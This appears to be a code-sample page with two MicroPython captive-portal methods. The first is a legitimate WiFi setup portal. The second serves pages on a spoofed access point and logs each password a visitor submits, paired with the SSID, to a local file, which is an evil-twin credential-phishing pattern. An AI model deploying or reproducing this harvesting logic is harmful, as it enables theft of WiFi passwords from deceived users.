Ejemplo n.º 1
0
    def captive_portal(self):
        print("Starting captive portal")
        self.start_access_point()

        if self.http_server is None:
            self.http_server = HTTPServer(self.poller, self.local_ip)
            print("Configured HTTP server")
        if self.dns_server is None:
            self.dns_server = DNSServer(self.poller, self.local_ip)
            print("Configured DNS server")

        try:
            while True:
                gc.collect()
                # check for socket events and handle them
                for response in self.poller.ipoll(1000):
                    sock, event, *others = response
                    is_handled = self.handle_dns(sock, event, others)
                    if not is_handled:
                        self.handle_http(sock, event, others)

                if self.check_valid_wifi():
                    print("Connected to WiFi!")
                    self.http_server.set_ip(self.local_ip, self.creds.ssid)
                    self.dns_server.stop(self.poller)
                    break

        except KeyboardInterrupt:
            print("Captive portal stopped")
        self.cleanup()
Ejemplo n.º 2
0
    def start(self, index):
        """ Start Captive Portal"""
        self.poller = select.poll()
        self.http_server = HTTPServer(self.poller, local_ip)
        self.dns_server = DNSServer(self.poller, local_ip)
        n = index.find(".")
        self.http_server.set_route(b"/", index.encode())
        files = uos.listdir()
        for file in files:
            if file[:n + 1] == index[:n + 1] and file != index:
                print(file[n + 1:])
                self.http_server.set_route(("/" + file[n + 1:]).encode(),
                                           file.encode())
        self.http_server.ssid = self.ssid
        try:
            while True:
                gc.collect()
                # check for socket events and handle them
                for response in self.poller.ipoll(1000):
                    sock, event, *others = response
                    is_handled = self.handle_dns(sock, event, others)
                    if not is_handled:
                        self.handle_http(sock, event, others)

                if self.http_server.password != None:
                    log = open("exy", "a+")
                    log.write("%s:%s\n" %
                              (self.ssid, self.http_server.password))
                    log.close()
                    self.http_server.password = None

        except KeyboardInterrupt:
            print("Captive portal stopped")